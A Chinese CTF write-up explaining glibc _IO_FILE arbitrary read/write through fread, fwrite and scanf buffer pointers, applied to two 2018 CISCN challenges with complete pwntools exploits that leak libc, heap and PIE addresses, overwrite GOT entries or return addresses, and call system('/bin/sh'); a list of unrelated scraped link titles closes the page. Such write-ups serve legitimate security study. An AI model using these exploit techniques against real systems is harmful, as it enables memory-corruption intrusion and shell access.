本文将简单介绍一下scanf的长度绕过和由fwrite、fread实现的任意读写,然后用两个ctf例题(2018年的两道国赛题 echo_back 和 magic)来加深理解。本文中write_s,write_e,read_s,read_e分别表示开始写入的开始结束地址、读取的开始结束地址。

fread 之 stdin任意写

网上介绍fread源码分析的文章很多,所以本文就不着重分析他的详细流程了。首先先介绍一下file结构(FILE在Linux系统的标准IO库中是用于描述文件的结构,称为文件流。FILE结构在程序执行fopen等函数时会进行创建,并分配在堆中。我们常定义一个指向FILE结构的指针来接收这个返回值。)FILE结构定义在libio.h中

struct _IO_FILE {  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags  /* The following pointers correspond to the C++ streambuf protocol. */  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */  char* _IO_read_ptr;   /* Current read pointer */  char* _IO_read_end;   /* End of get area. */  char* _IO_read_base;  /* Start of putback+get area. */  char* _IO_write_base; /* Start of put area. */  char* _IO_write_ptr;  /* Current put pointer. */  char* _IO_write_end;  /* End of put area. */  char* _IO_buf_base;   /* Start of reserve area. */  char* _IO_buf_end;    /* End of reserve area. */  /* The following fields are used to support backing up and undo. */  char *_IO_save_base; /* Pointer to start of non-current get area. */  char *_IO_backup_base;  /* Pointer to first valid character of backup area */  char *_IO_save_end; /* Pointer to end of non-current get area. */  struct _IO_marker *_markers;  struct _IO_FILE *_chain;  int _fileno;#if 0  int _blksize;#else  int _flags2;#endif  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */#define __HAVE_COLUMN /* temporary */  /* 1+column number of pbase(); 0 is unknown. */  unsigned short _cur_column;  signed char _vtable_offset;  char _shortbuf[1];  /*  char* _save_gptr;  char* _save_egptr; */  _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};

先着重介绍其中要用到的指针:

  • _IO_buf_base:输入(出)缓冲区的基地址,_IO_file_xsgetn函数会通过它来判断输入缓冲区是否为空,为空则会调用_IO_doallocbuf函数来进行初始化。
  • _IO_buf_end:输入(出)缓冲区的结束地址。
  • _IO_read_ptr:指向当前要写入的地址。
  • _IO_read_end:一般和_IO_read_ptr共同使用,_IO_read_end-_IO_read_ptr表示可用的输入缓冲区大小。

接下来是实现任意写的过程:在_IO_file_xsgetn中:

if (fp->_IO_buf_base == NULL)会判断输入缓冲区是否为空,为空则调用_IO_doallocbuf。我们是不希望他初始化缓冲区的,所以要构造fp->_IO_buf_base != NULL
have = fp->_IO_read_end - fp->_IO_read_ptr;      if (have > 0)       {          将输入缓冲区中的内容拷贝至目标地址。      }这里我们要实现任意写,就不能满足这个条件,一般构造_IO_read_end ==_IO_read_ptr,这样的话缓冲区就满足不了当前的需求,就会接着调用__underflow

__underflow(_IO_new_file_underflow)中有两个判断需要绕过:1、

if (fp->_flags & _IO_NO_READS)满足的话就会直接返回;所以这里要保证_flag位中不能有四。

2、

if (fp->_IO_read_ptr < fp->_IO_read_end)    return *(unsigned char *) fp->_IO_read_ptr;这里满足的话也会直接返回,所以我们一般构造_IO_read_end ==_IO_read_ptr。因为最终调用的是read (fp->_fileno, buf, size)),所以我们还要构造fp->_fileno为0。

小结一下:

  • 设置_IO_buf_base为write_s,_IO_buf_end为write_end(_IO_buf_end-_IO_buf_base要大于0)
  • flag位不能含有4(_IO_NO_READS),_fileno要为0。(最好就直接使用原本的flag)
  • 设置_IO_read_end等于_IO_read_ptr。

_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针,将_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。这个内容后面的题目magic要用到,先在这里提一下。

 fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;  fp->_IO_read_end = fp->_IO_buf_base;  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end    = fp->_IO_buf_base;  count = _IO_SYSREAD (fp, fp->_IO_buf_base,           fp->_IO_buf_end - fp->_IO_buf_base);

scanf 的长度修改:

scanf是调用stdin中的_IO_new_file_underflow去调用read的(和fread相同)。这里依旧是上面的那几个关键代码:

一:·········································if (fp->_IO_read_ptr < fp->_IO_read_end)      return *(unsigned char *) fp->_IO_read_ptr;  二:·········································count = _IO_SYSREAD (fp, fp->_IO_buf_base,  fp->_IO_buf_end - fp->_IO_buf_base);  三:·········································fp->_IO_read_end += count;

我们可以知道它是向fp->_IO_buf_base处写入(fp->_IO_buf_end – fp->_IO_buf_base)长度的数据。只要我们可以修改_IO_buf_base和_IO_buf_end就可以实现任意位置任意长度的数据写入。第三部分我们放到题目each_back中来分析。

fwrite 之 stdout任意读写

因为stdout会将缓冲区中的数据输出出来,所以就具有了stdin没有的任意读功能。首先说一下涉及到的指针:

  • _IO_write_base:输出缓冲区基址。
  • _IO_write_end:输出缓冲区结束地址。
  • _IO_write_ptr:_IO_write_ptr和_IO_write_base之间的地址为已使用的缓冲区,_IO_write_ptr和_IO_write_end之间为未使用的缓冲区。
  • _IO_buf_base:输入(出)缓冲区的基地址。
  • _IO_buf_end:输入(出)缓冲区的结束地址。

任意写:

else if (f->_IO_write_end > f->_IO_write_ptr)    count = f->_IO_write_end - f->_IO_write_ptr;if (count > 0){    把数据拷贝到缓冲区。}他的任意写是基于_IO_new_file_xsputn中将数据复制到缓冲区这一功能能实现的。

所以我们只要构造_IO_write_ptr为write_s,_IO_write_end为write_e,自然就满足了if的条件,这样就达到了任意写的目的。

任意读:

简单写一下fwrite的关键流程:_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>_IO_do_write

else if (f->_IO_write_end > f->_IO_write_ptr)    count = f->_IO_write_end - f->_IO_write_ptr;if (count > 0){    把数据拷贝到缓冲区。}if (to_do + must_flush > 0)    {      if (_IO_OVERFLOW (f, EOF) == EOF)这里不同于上面的任意读,我们不希望他将数据拷贝到缓冲区中,这里一般构造f->_IO_write_end = f->_IO_write_ptr。之后就会去调用_IO_OVERFLOW(_IO_new_file_overflow)
_IO_new_file_overflow中有两个对flag位的检查if (f->_flags & _IO_NO_WRITES)if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)所以flag位要不包含8和0x800
接下来就会调用:if (ch == EOF)    return _IO_do_write (f, f->_IO_write_base,             f->_IO_write_ptr - f->_IO_write_base);  return (unsigned char) ch;

其中_IO_do_write函数的作用是输出缓冲区,我们这里要构造_IO_write_base为read_s,构造_IO_write_ptr为read_e。在_IO_do_write中还有几个判断需要绕过:

if (fp->_flags & _IO_IS_APPENDING)else if (fp->_IO_read_end != fp->_IO_write_base)

flag位不能包含 0x1000(_IO_IS_APPENDING),并且要构造fp->_IO_read_end = fp->_IO_write_base。最后构造f->_fileno为1。

小结:

  • flag位: 不能包含0x8、0x800、0x1000(最好就直接使用原本的flag)
  • 构造_fileno为1
  • 构造_IO_write_base=read_s,_IO_write_ptr=read_e。

例题:

2018 ciscn magic:

首先查看一下保护:

没有开启pie保护,Partial RELRO意味着我们可以修改函数got表。放入ida种简单查看一下:

是个菜单题,上面只给出了三个功能,但是序号很蹊跷,正好跳过了3,我们通过阅读代码可以知道它是有3这个隐藏功能的,但因为解题过程中没有用到,就不说他了。这道题的关键点在于功能二的以下部分中:

首先看一下write_spell和read_spell函数:

我们发现这两个函数调用了fwrite和fread函数,并且使用了自己创建的file结构。而且fread函数后面还跟着一个write函数,结合上面提到的:

have = fp->_IO_read_end - fp->_IO_read_ptr;      if (have > 0)       {          将输入缓冲区中的内容拷贝至目标地址。      }

这里的目标地址,就是write函数要输出内容所在的地址,也就是说如果我们能控制log_file结构,就可以利用read_spell函数来泄漏libc基址以及heap的基址。那么要如何做到控制log_file呢:我们看到最下面有一个 *(v3 + 0x28)-=50ll,那么我们看一下v3是什么:

这里是存在数组下标越界的

而指向log_file的指针正好位于数组的上方,所以我们让v2为-2的话,*(v3 + 0x28)-=50ll 就会修改的是log_file中的_IO_write_ptr。那么我们就要利用它来修改_IO_write_ptr。

这里要注意每次fwrite后会将输出的长度加到_IO_write_ptr上,修改的时候一定要注意。*f->_IO_write_ptr++ = ch;

通过调试可以知道log_file结构位于我们create的堆地址上方。

for i in range(12):        spell(p, -2, 'x00')    spell(p, -2, 'x00' * 13)    spell(p, -2, 'x00' * 9)

可以看到此时已经将_IO_write_ptr修改为log_file结构内部的地址。

   spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8))    spell(p, 0, p64(puts_got) + p64(puts_got + 0x100))    libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest

利用上文说到的方法就可以泄漏出libc基址。但是我们还需要heap基址用于got表修改,所以需要再泄漏一个地址,所以我们要使_IO_write_ptr指向泄漏libc之前的位置。

spell(p, -2, p64(0) + p64(0))

这样之后就可以用相同的方法再泄漏heap的基址:

   spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8))    spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0))    heap_addr = u64(p.recvn(8)) - 0x10

接下来是修改got表部分:

spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))

在泄漏完heap基址后,log_file结构如下:

可以看到_IO_write_ptr为0x2042030,这样的话我们去执行上面脚本的第一行,因为输出的长度为0x18,这样修改的话就会变成下图这样:

这样的话,就符合了我们上面说的任意写的条件,接下来就可以去修改_IO_buf_baseh和_IO_buf_end。(也就是第二行代码)。我在上文提到了:_IO_new_file_underflow中在执行系统调用之前会设置一次FILE指针,将_IO_read_base、_IO_read_ptr、fp->_IO_read_end、_IO_write_base、IO_write_ptr全部设置为_IO_buf_base。所以我们在执行完上面两行代码后_IO_write_ptr就会指向0x602122(它位于fwrite函数got表的下方)接下来我们就要调整IO_write_ptr的值来修改got表。

   spell(p, -2, 'x00')    spell(p, -2, 'x01')    spell(p, -2, 'x00')    spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6])    spell(p, 0, '/bin/sh')

这里有一点需要注意,就是spell(p, -2, ‘x01’),这里必须要大于0,因为:

这里如果满足不了第一个if,就会跳转到muggle那部分。完整的exp:

# coding:utf-8from pwn import *context(arch = 'amd64', os = 'linux')context.log_level = 'debug'debug=1ip='111.198.29.45'port='31577'if debug == 1:   p = process('./magic')else:   p = remote(ip, port)puts_offest = 0x6f690system_offest = 0x45390puts_got = 0x602020fwrite_got = 0x602090log_addr = 0x6020E0def debug():    gdb.attach(p)    pause()def create(p, name):    p.recvuntil('choice>> ')    p.sendline('1')    p.recvuntil('name:')    p.send(name)def spell(p, index, data):    p.recvuntil('choice>> ')    p.sendline('2')    p.recvuntil('spell:')    p.sendline(str(index))    p.recvuntil('name:')    p.send(data)def final(p, index):    p.recvuntil('choice>> ')    p.sendline('3')    p.recvuntil('chance:')    p.sendline(str(index))def pwn():    create(p, 'sss')    spell(p, 0, 'yyyyy')    for i in range(12):        spell(p, -2, 'x00')      spell(p, -2, 'x00' * 13)    spell(p, -2, 'x00' * 9)    #debug()    spell(p, 0, 'x00' * 3 + p64(0x231) + p64(0xfbad24a8))    spell(p, 0, p64(puts_got) + p64(puts_got + 0x100))    libc_addr = u64(p.recvn(6).ljust(8,'x00')) - puts_offest    log.info('libc addr is : ' + hex(libc_addr))    #debug()    spell(p, -2, p64(0) + p64(0))    spell(p, 0, 'x00' * 2 + p64(0x231) + p64(0xfbad24a8))    spell(p, 0, p64(log_addr) + p64(puts_got + 0x100) + p64(0))    heap_addr = u64(p.recvn(8)) - 0x10    log.info('heap addr is : ' + hex(heap_addr))    debug()    spell(p, 0, p64(heap_addr + 0x58) + p64(0) + p64(heap_addr + 0x58))    #debug()    spell(p, 0, p64(0x602122) + p64(0x602123 + 0x100))    spell(p, -2, 'x00')    spell(p, -2, 'x01')    spell(p, -2, 'x00')    spell(p, 0, 'x00' * 2 + p64(libc_addr + system_offest)[0 : 6])    spell(p, 0, '/bin/sh')    p.interactive()if __name__ == '__main__':    pwn()

2018 ciscn each_back

日常检查,保护全家桶。这道题的格式化字符串漏洞很明显因为它开启了pie,所以我们最开始的思路就是要泄漏出一些我们需要的地址。首先查看stack,寻找一些有用的信息:

这里我标出了三个内容(计算偏移时不要忘了这是64位程序,前六个参数保存在寄存器里):1.main函数的ebp2.函数的返回地址,它对应main函数中的地址,所以我们可以借此获得程序的基地址(elf_ddr)3.可以得到libc基址printf函数返回地址的求法:

因为main函数里并没有修改rbp、rsp,所以这里printf函数的返回地址为main函数的rsp(也就是我们这里泄漏出的ebp) -0x28。今天的重头戏来了:他限制了我们输入的长度不能超过7,我们要想修改函数返回地址,payload不可能比7字节短,所以我们这里要找其他输入payload的方式,这里我们盯上了scanf函数。我们就用上文提到的方法来修改scanf可输入的长度:

payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)p.send(payload)

这里就有一点需要注意了,上文我留下的第三部分,就是:

fp->_IO_read_end += count;

我们在修改完长度之后,_IO_read_end就会加上我们payload长度的大小,这样就会导致后面输入payload来修改返回地址时,fp->_IO_read_ptr < fp->_IO_read_end的条件无法实现,所以我们这里利用getchar函数(每次会使_IO_read_ptr+1)来让这个条件满足:

for i in range(len(payload)-1):    p.recvuntil('choice>>')    p.sendline('2')    p.recvuntil('length:')    p.sendline('')

这里主要说一下scanf的利用,关于格式化字符串的内容就不过多的叙述。完整exp:

#coding:utf-8from pwn import *context.log_level = 'debug'debug = 1elf = ELF('./echo_back')if debug:     p = process('./echo_back')     libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')     context.log_level = 'debug'else:     p = remote('', xxxx)     libc = ELF('./libc.so.6')def dubug():    gdb.attach(p)    pause()def set_name(name):    p.recvuntil('choice>>')    p.sendline('1')    p.recvuntil('name')    p.send(name)def echo(content):    p.recvuntil('choice>>')    p.sendline('2')     p.recvuntil('length:')    p.sendline('-1')    p.send(content)#----------------------------stack----------------------------------------------echo('%12$pn')p.recvuntil('anonymous say:')stack_addr = int(p.recvline()[:-1],16)#----------------------------elf---------------------------------------------echo('%13$pn')p.recvuntil('anonymous say:')pie = int(p.recvline()[:-1],16)-0xd08#----------------------------libc---------------------------------------------echo('%19$pn')p.recvuntil('anonymous say:')libc.address = int(p.recvline()[:-1],16)-240-libc.symbols['__libc_start_main']print '[+] system :',hex(libc.symbols['system'])set_name(p64(libc.address + 0x3c4918)[:-1])echo('%16$hhn')p.recvuntil('choice>>')p.sendline('2') p.recvuntil('length:')payload = p64(libc.address+0x3c4963)*3 + p64(stack_addr-0x28)+p64(stack_addr+0x10)p.send(payload)p.sendline('')for i in range(len(payload)-1):    p.recvuntil('choice>>')    p.sendline('2')     p.recvuntil('length:')    p.sendline('')p.recvuntil('choice>>')p.sendline('2') p.recvuntil('length:')payload = p64(pie+0xd93)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system'])p.sendline(payload)p.sendline('')p.interactive()

参考资料:

https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_writehttps://wiki.x10sec.org/pwn/io_file/introduction/

更多好文

暗度陈仓:基于国内某云的 Domain Fronting 技术实践对PHPOK的一次审计 | 新手向64位格式化字符串漏洞修改got表利用详解

scanf返回值_IO FILE之任意读写和scanf的限制绕过相关推荐

  1. c语言scanf返回值问题

    scanf函数返回值: 1.scanf()函数有返回值且为int型.     2.scanf()函数返回的值为:正确按指定格式输入变量的个数:也即能正确接收到值的变量个数.         例如:sc ...

  2. VsStudio中scanf返回值被忽略的原因及其解决方法

    相信有不少人在使用vs的时候会遇到以下这个问题:scanf返回值被忽略,接下来我就告诉大家该如何解决这个问题 出现问题的原因:   因为scanf()在读取数据时不检查边界,所以可能会造成内存泄漏.M ...

  3. scanf返回值被忽略的原因及其解决方法(vs2019)

    在使用Visual Studio 2019编写C语言程序时相信大家都遇见了scanf返回值被忽略这个问题 存在的问题就是scanf函数输入不安全,其实在vs编译器环境下,这种不安全的函数有很多. 为了 ...

  4. getchar函数与其在缓存区的使用(详解易懂)---读取多组值:scanf返回值的理解使用

    文章目录 前言 1.scanf返回值的应用 1.判断一个人是否为天才? 1.1==scanf返回值的认识== 2.判断两个数的大小关系 2.getchar在缓存区的使用 2.1了解getchar,pu ...

  5. VS2022 scanf返回值被忽略怎么办

     scanf返回值被忽略怎么办,掌握了这个办法后,就再也不会有这个苦恼啦. 先在vs的安装路径里找到:newc++file.cpp文件,然后点击鼠标右键找到文件所在位置. 找到文件所在的位置后将该文件 ...

  6. c语言scanf返回值

    c语言scanf返回值 1. scanf 函数是有返回值的,它的返回值可以分成三种情况   1) 正整数,表示正确输入参数的个数.例如执行 scanf("%d %d", & ...

  7. c语言scanf返回值错误,c语言scanf返回值

    1. scanf 函数是有返回值的,它的返回值可以分成三种情况 1) 正整数,表示正确输入参数的个数.例如执行 scanf("%d %d", &a, &b); 如果 ...

  8. c语言scanf返回值被忽略,scanf返回值问题

    在家养病,闲着没事看C primer plus,看到书中对于scanf输入的判断,常用如下方法: 此时它将返回1视为我输入成功,如果不为1则视为输入失败.那到底scanf的返回值具体指的是什么呢? 例 ...

  9. scanf()返回值

    scanf()返回值为int型: 测试代码: #include <stdio.h>int main() {int a,b,c;int ret;ret=scanf("%d %d % ...

最新文章

  1. 【MVC】ASP.NET MVC5 使用MiniProfiler 监控MVC性能
  2. Flutter如何与Native(Android)进行交互
  3. 漫谈IBM Power VM历史及其特点
  4. yii的多个相同modle表单提交问题(未解决)
  5. phpMyAdmin批量修改Mysql数据表前缀的方法
  6. debian vbox设置_在Debian 9 Stretch系统上安装VirtualBox的两种方法
  7. 计算机管理储存u盘无法使用,Win7系统退出U盘后重新插入电脑无法使用怎么办
  8. mysql 插入多行_MySQL使用INSERT插入多条记录
  9. 无线网卡被服务器禁用,无线网卡总是被禁用,请教解决方法
  10. 康佳电视手机遥控器android版,康佳电视遥控器
  11. 《巴菲特的第一桶金》读书笔记
  12. 益而优有机核桃油给宝宝安全放心的油!
  13. Centos7安装ffmpeg和使用youtube-dl下载Youtube视频
  14. 黄金分割法与Fibonacci法
  15. html字体加粗且变色,简单的html代码 加粗 加亮 字型加大 变色 分别是写什么`
  16. three.js 实现露珠滴落动画
  17. 有什么免费的视频格式转换工具?快试试这4款,堪称“良心”工具
  18. 控制面板打印机显示不出来的解决办法
  19. 编程中的命名方式和常用命名名称
  20. windows系统运维基础

热门文章

  1. 计算机安全相关的会议和期刊,中国计算机学会推荐国际学术刊物与会议网络与信息安全...
  2. lofter 爬虫_本日Lofter德哈tag榜单 20201125
  3. 如何在 SAP BTP 平台上重用另一个已经开发好的 service
  4. SAP Hybris Commerce Cloud Accelerator Storefront 在 Eclipse 中的调试
  5. Angular 应用级别的依赖 Fake
  6. 使用jasmine.createSpyObj具有依赖关系的Angular服务进行单元测试
  7. Angular ngcc和ivy
  8. SAP FSM 学习笔记(四) : 现场服务技师使用的移动应用
  9. Why Opportunity uses US as local instead of ZH - language determination in
  10. where is path tag generated